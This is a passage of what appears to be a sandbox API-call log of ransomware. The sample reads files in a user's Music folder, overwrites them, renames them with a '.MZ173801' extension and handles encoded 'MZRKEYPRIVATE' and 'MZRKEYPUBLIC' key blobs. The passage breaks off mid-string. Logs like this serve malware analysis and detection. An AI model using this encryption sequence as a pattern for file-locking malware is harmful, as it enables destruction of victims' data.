FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.593] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\AuJwOyKnChH.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\aujwoyknchh.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa506d520, ftCreationTime.dwHighDateTime=0x1d5e515, ftLastAccessTime.dwLowDateTime=0x22e32030, ftLastAccessTime.dwHighDateTime=0x1d5e4ed, ftLastWriteTime.dwLowDateTime=0x22e32030, ftLastWriteTime.dwHighDateTime=0x1d5e4ed, nFileSizeHigh=0x0, nFileSizeLow=0x16df1)) returned 1 [0158.593] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\AuJwOyKnChH.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\aujwoyknchh.wav")) returned 0x20 [0158.593] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\AuJwOyKnChH.wav", dwFileAttributes=0x80) returned 1 [0158.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.603] GetCurrentThreadId () returned 0xab4 [0158.603] GetCurrentThreadId () returned 0xab4 [0158.603] GetCurrentThreadId () returned 0xab4 [0158.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.603] GetCurrentThreadId () returned 0xab4 [0158.603] GetCurrentThreadId () returned 0xab4 [0158.603] GetCurrentThreadId () returned 0xab4 [0158.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\AuJwOyKnChH.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\aujwoyknchh.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.604] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.604] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.604] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x16df1 [0158.604] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.604] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x16df1, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x16df1, lpOverlapped=0x0) returned 1 [0158.605] CloseHandle (hObject=0x2f8) returned 1 [0158.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\AuJwOyKnChH.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\aujwoyknchh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.608] WriteFile (in: hFile=0x2f8, lpBuffer=0x2503080*, nNumberOfBytesToWrite=0x16df1, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x2503080*, lpNumberOfBytesWritten=0x19f758*=0x16df1, lpOverlapped=0x0) returned 1 [0158.613] CloseHandle (hObject=0x2f8) returned 1 [0158.615] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\AuJwOyKnChH.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\aujwoyknchh.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\AuJwOyKnChH.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\aujwoyknchh.wav.mz173801")) returned 1 [0158.616] GetCurrentThreadId () returned 0xab4 [0158.616] GetCurrentThreadId () returned 0xab4 [0158.616] GetCurrentThreadId () returned 0xab4 [0158.616] GetCurrentThreadId () returned 0xab4 [0158.616] GetCurrentThreadId () returned 0xab4 [0158.616] GetCurrentThreadId () returned 0xab4 [0158.616] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69282a20, ftCreationTime.dwHighDateTime=0x1d5ee72, ftLastAccessTime.dwLowDateTime=0x1694da20, ftLastAccessTime.dwHighDateTime=0x1d5e561, ftLastWriteTime.dwLowDateTime=0x1694da20, ftLastWriteTime.dwHighDateTime=0x1d5e561, nFileSizeHigh=0x0, nFileSizeLow=0xf43, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="c IXUe-mvNtEdk.mp3", cAlternateFileName="CIXUE-~1.MP3")) returned 1 [0158.616] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.616] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\c IXUe-mvNtEdk.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\c ixue-mvntedk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69282a20, ftCreationTime.dwHighDateTime=0x1d5ee72, ftLastAccessTime.dwLowDateTime=0x1694da20, ftLastAccessTime.dwHighDateTime=0x1d5e561, ftLastWriteTime.dwLowDateTime=0x1694da20, ftLastWriteTime.dwHighDateTime=0x1d5e561, nFileSizeHigh=0x0, nFileSizeLow=0xf43)) returned 1 [0158.616] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\c IXUe-mvNtEdk.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\c ixue-mvntedk.mp3")) returned 0x20 [0158.616] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\c IXUe-mvNtEdk.mp3", dwFileAttributes=0x80) returned 1 [0158.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgv